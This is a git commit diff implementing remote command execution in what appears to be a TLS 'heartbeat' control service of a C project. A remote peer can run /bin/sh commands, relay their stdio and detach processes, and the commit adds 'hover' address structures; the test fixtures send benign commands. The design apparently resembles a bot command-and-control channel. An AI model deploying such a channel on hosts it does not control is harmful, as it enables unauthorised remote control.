diff options
author | David Timber <mieabby@gmail.com> | 2020-08-30 21:30:46 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-30 21:30:46 +0930 |
commit | fbb4d5d648a8dc6dba9e33240bf66d82939e2880 (patch) | |
tree | a3ba1be81b7c5c5dcd2f64a5d50be1b969c1048d | |
parent | f36333b2c915ac7d9cf82e09ab5cb2a2f8296177 (diff) |
* Impl run_cmd
* Add prne_htbt_hover_t
* Add run_cmd test data
-rw-r--r-- | .vscode/launch.json | 29 | ||||
-rw-r--r-- | .vscode/tasks.json | 34 | ||||
-rw-r--r-- | src/data/proto-test/hostinfo | 4 | ||||
-rwxr-xr-x | src/data/proto-test/print-raw.sh | 2 | ||||
-rw-r--r-- | src/data/proto-test/runcmd_demux | 21 | ||||
-rw-r--r-- | src/data/proto-test/runcmd_detached | 16 | ||||
-rw-r--r-- | src/data/proto-test/runcmd_empty-out_ab | 68 | ||||
-rw-r--r-- | src/data/proto-test/runcmd_outonly | 20 | ||||
-rw-r--r-- | src/htbt.c | 281 | ||||
-rw-r--r-- | src/protocol.c | 14 | ||||
-rw-r--r-- | src/protocol.h | 16 |
11 files changed, 390 insertions, 115 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..d3bf892 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,29 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "htbthost", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-htbthost", + "args": ["test", "--no-verify"], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "setupCommands": [ + { + "description": "Follow parent fork", + "text": "set follow-fork-mode parent", + "ignoreFailures": false + } + ], + "preLaunchTask": "Build htbthost", + "miDebuggerPath": "/usr/bin/gdb" + } + ] +}
\ No newline at end of file diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..b0142ea --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,34 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Prep AM", + "type": "shell", + "command": "./bootstrap.sh" + }, + { + "label": "Autoconf", + "type": "shell", + "dependsOn": [ "Prep AM" ], + "command": "./configure --enable-debug" + }, + { + "label": "clean", + "type": "shell", + "command": "make clean" + }, + { + "label": "distclean", + "type": "shell", + "command": "make distclean" + }, + + { + "label": "Build htbthost", + "type": "shell", + "command": "make -C ./src proone-htbthost" + } + ] +} diff --git a/src/data/proto-test/hostinfo b/src/data/proto-test/hostinfo new file mode 100644 index 0000000..abeee61 --- /dev/null +++ b/src/data/proto-test/hostinfo @@ -0,0 +1,4 @@ +# initial msg id 0xA00 +8A00 +# PRNE_HTBT_OP_HOST_INFO +02 diff --git a/src/data/proto-test/print-raw.sh b/src/data/proto-test/print-raw.sh new file mode 100755 index 0000000..61b2997 --- /dev/null +++ b/src/data/proto-test/print-raw.sh @@ -0,0 +1,2 @@ +#!/bin/bash +sed -E -e "/^((\\s+)?#.*)?$/D" -e "s/\\s//g" | tr -d "\\n" | xxd -ps -r diff --git a/src/data/proto-test/runcmd_demux b/src/data/proto-test/runcmd_demux new file mode 100644 index 0000000..01a9a2b --- /dev/null +++ b/src/data/proto-test/runcmd_demux @@ -0,0 +1,21 @@ +# msg id 0xA03, init +8A04 +# PRNE_HTBT_OP_RUN_CMD +05 + # args_len = 08 + 00 08 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 +# msg id 0xA03, init +8A04 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 77 + 404D + # for (( i = 0; i < 4096; i += 1 )); do + # echo -n "A" >&1 + # echo -n "B" >&2 + # done + 666f722028282069203d20303b2069203c20343039363b2069202b3d2031 + 2029293b20646f0a096563686f202d6e20224122203e26310a096563686f + 202d6e20224222203e26320a646f6e650a diff --git a/src/data/proto-test/runcmd_detached b/src/data/proto-test/runcmd_detached new file mode 100644 index 0000000..be4741d --- /dev/null +++ b/src/data/proto-test/runcmd_detached @@ -0,0 +1,16 @@ +#################### +# run "sleep 5" detached +#################### + +# msg id 0xA01, init +8A01 +# PRNE_HTBT_OP_RUN_CMD +05 +# detached, args_len = 19 +04 13 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 + # "-c" + 2d 63 00 + # "sleep 5" + 73 6c 65 65 70 20 35 00 diff --git a/src/data/proto-test/runcmd_empty-out_ab b/src/data/proto-test/runcmd_empty-out_ab new file mode 100644 index 0000000..f85b789 --- /dev/null +++ b/src/data/proto-test/runcmd_empty-out_ab @@ -0,0 +1,68 @@ +#################### +# run "echo -n" with abundant stdin data +# The data must be consumed in htbt_relay_child() before return +#################### + +# msg id 0xA02, init +8A02 +# PRNE_HTBT_OP_RUN_CMD +05 +# args_len = 19 +00 13 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 + # "-c" + 2d 63 00 + # "echo -n" + 65 63 68 6f 20 2d 6e 00 +# msg id 0xA02, init +8A02 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 0, len = 512 + 0200 + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDC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CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD diff --git a/src/data/proto-test/runcmd_outonly b/src/data/proto-test/runcmd_outonly new file mode 100644 index 0000000..56e25c2 --- /dev/null +++ b/src/data/proto-test/runcmd_outonly @@ -0,0 +1,20 @@ +# msg id 0xA03, init +8A03 +# PRNE_HTBT_OP_RUN_CMD +05 + # args_len = 40 + 00 28 + # "/bin/dd" + 2f 62 69 6e 2f 64 64 00 + # "if=/dev/urandom" + 69 66 3d 2f 64 65 76 2f 75 72 61 6e 64 6f 6d 00 + # "bs=4096" + 62 73 3d 34 30 39 36 00 + # "count=4" + 63 6f 75 6e 74 3d 34 00 +# msg id 0xA03, init +8A03 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 0 + 4000 @@ -364,10 +364,13 @@ static void htbt_lbd_fab_unimpl ( static void htbt_lbd_srv_hostinfo ( htbt_lbd_client_t *ctx, pth_event_t root_ev, + const size_t off, const prne_htbt_msg_head_t *mh) { prne_htbt_host_info_t hi; + prne_iobuf_shift(ctx->iobuf + 0, -off); + if (ctx->parent->param.cb_f.hostinfo == NULL) { htbt_lbd_fab_unimpl(ctx, mh->id, root_ev); return; @@ -399,26 +402,29 @@ static bool htbt_relay_child ( const int conn, mbedtls_ssl_context *ssl, prne_iobuf_t *iobuf, + const uint16_t msg_id, int *c_in, int *c_out, int *c_err) { bool ret = true; struct pollfd pfd[4]; - prne_htbt_stdio_t head[2]; + prne_htbt_msg_head_t mh; + prne_htbt_stdio_t sh[2]; int f_ret, pending, out_p = 0; size_t actual; + ssize_t consume; pfd[0].fd = conn; pfd[1].fd = *c_in; pfd[2].fd = *c_out; pfd[3].fd = *c_err; - prne_htbt_init_stdio(head + 0); - prne_htbt_init_stdio(head + 1); + prne_htbt_init_msg_head(&mh); + prne_htbt_init_stdio(sh + 0); + prne_htbt_init_stdio(sh + 1); - while ((!head[0].fin && head[0].len > 0) || + while ((!sh[0].fin && sh[0].len > 0) || iobuf[1].len > 0 || - pfd[1].fd >= 0 || pfd[2].fd >= 0 || pfd[3].fd >= 0) { @@ -426,11 +432,11 @@ static bool htbt_relay_child ( if (iobuf[1].len > 0) { pfd[0].events |= POLLOUT; } - if (iobuf[0].avail > 0 && !(head[0].fin && head[0].len == 0)) { + if (iobuf[0].avail > 0 && !(sh[0].fin && sh[0].len == 0)) { pfd[0].events |= POLLIN; } - if (head[0].len > 0 && iobuf[0].len > 0) { + if (sh[0].len > 0 && iobuf[0].len > 0) { pfd[1].events = POLLOUT; } else { @@ -451,36 +457,54 @@ static bool htbt_relay_child ( ret = false; break; } - if (f_ret == 0) { + if (f_ret == 0 || (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR))) { break; } + if (!sh[0].fin && sh[0].len == 0) { + do { + if (prne_htbt_dser_msg_head( + iobuf[0].m, + iobuf[0].len, + &actual, + &mh) != PRNE_HTBT_SER_RC_OK) + { + break; + } + consume = actual; + if (mh.id != msg_id || + mh.is_rsp || + mh.op != PRNE_HTBT_OP_STDIO) + { + sh[0].fin = true; + break; + } + if (prne_htbt_dser_stdio( + iobuf[0].m + consume, + iobuf[0].len - consume, + &actual, + sh + 0) != PRNE_HTBT_SER_RC_OK) + { + break; + } + consume += actual; + prne_iobuf_shift(iobuf + 0, -consume); + } while (false); + } + if (pfd[0].revents & POLLIN) { f_ret = mbedtls_ssl_read( ssl, iobuf[0].m + iobuf[0].len, iobuf[0].avail); - if (f_ret <= 0) { + if (f_ret < 0) { break; } else { prne_iobuf_shift(iobuf + 0, f_ret); - if (head[0].len == 0) { - if (prne_htbt_dser_stdio( - iobuf[0].m, - iobuf[0].len, - &actual, - head + 0) == PRNE_HTBT_SER_RC_OK) - { - prne_iobuf_shift(iobuf + 0, -actual); - if (head[0].len == 0 && head[0].fin) { - close(*c_in); - *c_in = -1; - } - } - } } } + if (pfd[0].revents & POLLOUT) { f_ret = mbedtls_ssl_write( ssl, @@ -495,58 +519,69 @@ static bool htbt_relay_child ( pending -= f_ret; } else { - head[1].len -= f_ret; - if (head[1].len == 0) { + sh[1].len -= f_ret; + if (sh[1].len == 0) { out_p = (out_p + 1) % 2; } } } } - if (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR)) { - pfd[0].fd = -1; - } - if (pfd[1].fd < 0 && head[0].len > 0) { - const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + if (pfd[1].fd < 0 && sh[0].len > 0) { + consume = prne_op_min(iobuf[0].len, sh[0].len); prne_iobuf_shift(iobuf + 0, -consume); - head[0].len -= consume; + sh[0].len -= consume; } else if (pfd[1].revents) { - const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + consume = prne_op_min(iobuf[0].len, sh[0].len); f_ret = write(*c_in, iobuf[0].m, consume); - if (f_ret <= 0) { + if (f_ret > 0) { + consume = f_ret; + } + else { pfd[1].fd = -1; } prne_iobuf_shift(iobuf + 0, -consume); - head[0].len -= consume; - if (head[0].len == 0 && head[0].fin) { - close(*c_in); - *c_in = -1; - pfd[0].fd = -1; - } + sh[0].len -= consume; + } + + if (sh[0].fin && sh[0].len == 0 && pfd[1].fd >= 0) { + close(*c_in); + *c_in = -1; + pfd[1].fd = -1; } if (pfd[2 + out_p].revents) { - if (head[1].len == 0) { + if (sh[1].len == 0) { prne_assert(ioctl(pfd[2 + out_p].fd, FIONREAD, &pending) == 0); - head[1].len = (size_t)prne_op_min( + sh[1].len = (size_t)prne_op_min( pending, PRNE_HTBT_STDIO_LEN_MAX); - head[1].err = out_p != 0; - head[1].fin = head[1].len == 0; - prne_htbt_ser_stdio( + sh[1].err = out_p != 0; + sh[1].fin = sh[1].len == 0; + mh.id = msg_id; + mh.is_rsp = true; + mh.op = PRNE_HTBT_OP_STDIO; + + prne_assert(prne_htbt_ser_msg_head( iobuf[1].m + iobuf[1].len, iobuf[1].avail, &actual, - head + 1); - pending = (size_t)actual; - prne_iobuf_shift(iobuf + 1, actual); + &mh) == PRNE_HTBT_SER_RC_OK); + pending = (int)actual; + prne_assert(prne_htbt_ser_stdio( + iobuf[1].m + iobuf[1].len + pending, + iobuf[1].avail - pending, + &actual, + sh + 1) == PRNE_HTBT_SER_RC_OK); + pending += (int)actual; + prne_iobuf_shift(iobuf + 1, pending); - if (head[1].fin) { + if (sh[1].fin) { pfd[2 + out_p].fd = -1; } } @@ -554,21 +589,16 @@ static bool htbt_relay_child ( f_ret = read( pfd[2 + out_p].fd, iobuf[1].m + iobuf[1].len, - prne_op_min(head[1].len, iobuf[1].avail)); + prne_op_min(sh[1].len, iobuf[1].avail)); prne_dbgast(f_ret > 0); prne_iobuf_shift(iobuf + 1, f_ret); } } } - prne_htbt_free_stdio(head + 0); - prne_htbt_free_stdio(head + 1); - close(*c_in); - close(*c_out); - close(*c_err); - *c_in = -1; - *c_out = -1; - *c_err = -1; + prne_htbt_free_stdio(sh + 0); + prne_htbt_free_stdio(sh + 1); + prne_htbt_free_msg_head(&mh); return ret; } @@ -583,6 +613,7 @@ static void htbt_do_cmd ( const int conn, mbedtls_ssl_context *ssl, prne_iobuf_t *iobuf, + const uint16_t msg_id, prne_htbt_status_code_t *out_status, int32_t *out_err) { @@ -591,7 +622,7 @@ static void htbt_do_cmd ( int cerr[2] = { -1, -1 }; int errp[2] = { -1, -1 }; pid_t child = -1; - int f_ret; + int f_ret, chld_status; if (pipe(errp) != 0 || fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 || @@ -615,9 +646,15 @@ static void htbt_do_cmd ( close(errp[0]); if (detach) { - if (setsid() < 0) { + child = fork(); + if (child < 0) { break; } + else if (child > 0) { + exit(0); + } + + setsid(); close(STDIN_FILENO); // Inherit these if DEBUG #if !defined(PRNE_DEBUG) @@ -664,12 +701,14 @@ static void htbt_do_cmd ( *out_status = PRNE_HTBT_STATUS_OK; if (detach) { - *out_err = 0; - child = -1; + if (pth_waitpid(child, &chld_status, WUNTRACED) == child && + !WIFSTOPPED(chld_status)) + { + child = -1; + *out_err = 0; + } } else { - int status; - prne_close(cin[0]); prne_close(cout[1]); prne_close(cerr[1]); @@ -683,23 +722,24 @@ static void htbt_do_cmd ( goto END; } - if (htbt_relay_child(conn, ssl, iobuf, &cin[1], &cout[0], &cerr[0])) { - if (pth_waitpid(child, &status, WUNTRACED) < 0) { + if (htbt_relay_child(conn, ssl, iobuf, msg_id, &cin[1], &cout[0], &cerr[0])) { + if (pth_waitpid(child, &chld_status, WUNTRACED) < 0) { *out_status = PRNE_HTBT_STATUS_ERRNO; *out_err = errno; goto END; } - else if (WIFEXITED(status)) { - *out_err = WEXITSTATUS(status); + else if (WIFEXITED(chld_status)) { + *out_err = WEXITSTATUS(chld_status); + child = -1; } - else if (WIFSIGNALED(status)) { - *out_err = 128 + WTERMSIG(status); + else if (WIFSIGNALED(chld_status)) { + *out_err = 128 + WTERMSIG(chld_status); + child = -1; } else { // child has been stopped just right before exit *out_err = -1; } - child = -1; } else { *out_status = PRNE_HTBT_STATUS_ERRNO; @@ -742,14 +782,13 @@ static bool htbt_lbd_srv_run_cmd ( ctx->iobuf[0].len - off, &actual, &cmd); - if (s_ret != PRNE_HTBT_SER_RC_MORE_BUF) { - prne_iobuf_shift(ctx->iobuf + 0, -(off + actual)); - } - if (s_ret == PRNE_HTBT_SER_RC_FMT_ERR) { - htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { goto END; } - if (s_ret != PRNE_HTBT_SER_RC_OK) { + else { + prne_iobuf_shift(ctx->iobuf + 0, -(off + actual)); + } + if (s_ret == PRNE_HTBT_SER_RC_ERRNO) { htbt_lbd_fab_status( ctx, PRNE_HTBT_STATUS_ERRNO, @@ -758,6 +797,10 @@ static bool htbt_lbd_srv_run_cmd ( root_ev); goto END; } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev); + goto END; + } htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); if (root_ev != NULL && pth_event_status(root_ev) == PTH_STATUS_PENDING) { @@ -767,6 +810,7 @@ static bool htbt_lbd_srv_run_cmd ( ctx->fd, &ctx->ssl, ctx->iobuf, + mh->id, &status, &err); htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev); @@ -784,49 +828,55 @@ static bool htbt_lbd_consume_inbuf ( prne_htbt_ser_rc_t s_ret; prne_htbt_msg_head_t f_head; size_t actual; - bool ret = true; + bool ret = false; prne_htbt_init_msg_head(&f_head); - s_ret = prne_htbt_dser_msg_head( - ctx->iobuf[0].m, - ctx->iobuf[0].len, - &actual, - &f_head); - if (s_ret != PRNE_HTBT_SER_RC_OK) { - ret = false; - goto END; - } - if (f_head.is_rsp || - (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0)) - { - htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev); - ret = false; - goto END; - } + while (ctx->valid) { + prne_htbt_free_msg_head(&f_head); + prne_htbt_init_msg_head(&f_head); - f_head.is_rsp = true; - switch (f_head.op) { - case PRNE_HTBT_OP_NOOP: - prne_iobuf_shift(ctx->iobuf + 0, -actual); - break; - case PRNE_HTBT_OP_HOST_INFO: - htbt_lbd_srv_hostinfo(ctx, root_ev, &f_head); - break; - case PRNE_HTBT_OP_RUN_CMD: - ret = htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head); - break; - case PRNE_HTBT_OP_RUN_BIN: - case PRNE_HTBT_OP_HOVER: - case PRNE_HTBT_OP_NY_BIN: - default: - htbt_lbd_raise_protoerr( - ctx, - f_head.id, - PRNE_HTBT_STATUS_UNIMPL, - root_ev); - ret = false; - break; + s_ret = prne_htbt_dser_msg_head( + ctx->iobuf[0].m, + ctx->iobuf[0].len, + &actual, + &f_head); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { + break; + } + if (s_ret != PRNE_HTBT_SER_RC_OK || + f_head.is_rsp || + (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0)) + { + htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev); + goto END; + } + + f_head.is_rsp = true; + ret = true; + switch (f_head.op) { + case PRNE_HTBT_OP_NOOP: + prne_iobuf_shift(ctx->iobuf + 0, -actual); + break; + case PRNE_HTBT_OP_HOST_INFO: + htbt_lbd_srv_hostinfo(ctx, root_ev, actual, &f_head); + break; + case PRNE_HTBT_OP_RUN_CMD: + if (!htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head)) { + goto END; + } + break; + case PRNE_HTBT_OP_RUN_BIN: + case PRNE_HTBT_OP_HOVER: + case PRNE_HTBT_OP_NY_BIN: + default: + htbt_lbd_raise_protoerr( + ctx, + f_head.id, + PRNE_HTBT_STATUS_UNIMPL, + root_ev); + goto END; + } } END: @@ -913,6 +963,7 @@ static void *htbt_lbd_client_entry (void *p) { } } } + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, ev_timeout); END: pth_event_free(ev, TRUE); diff --git a/src/protocol.c b/src/protocol.c index 51cbc15..301e884 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -396,6 +396,20 @@ bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_m prne_htbt_eq_cmd(&a->cmd, &b->cmd); } +void prne_htbt_init_hover (prne_htbt_hover_t *ho) { + prne_memzero(ho, sizeof(prne_htbt_hover_t)); +} + +void prne_htbt_free_hover (prne_htbt_hover_t *ho) {} + +bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b) { + return + memcmp(a->v4.addr, b->v4.addr, 4) == 0 && + memcmp(a->v6.addr, b->v6.addr, 16) == 0 && + a->v4.port == b->v4.port && + a->v6.port == b->v6.port; +} + void prne_htbt_init_stdio (prne_htbt_stdio_t *s) { s->len = 0; s->err = false; diff --git a/src/protocol.h b/src/protocol.h index 0b49f78..caec3ce 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -15,6 +15,7 @@ typedef struct prne_htbt_host_info prne_htbt_host_info_t; typedef struct prne_htbt_msg_head prne_htbt_msg_head_t; typedef struct prne_htbt_cmd prne_htbt_cmd_t; typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; +typedef struct prne_htbt_hover prne_htbt_hover_t; typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef enum { @@ -232,6 +233,17 @@ struct prne_htbt_bin_meta { prne_htbt_cmd_t cmd; }; +struct prne_htbt_hover { + struct { + uint8_t addr[4]; + uint16_t port; + } v4; + struct { + uint8_t addr[16]; + uint16_t port; + } v6; +}; + struct prne_htbt_stdio { size_t len; bool err; @@ -302,6 +314,10 @@ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); +void prne_htbt_init_hover (prne_htbt_hover_t *ho); +void prne_htbt_free_hover (prne_htbt_hover_t *ho); +bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b); + void prne_htbt_init_stdio (prne_htbt_stdio_t *s); void prne_htbt_free_stdio (prne_htbt_stdio_t *s); bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); |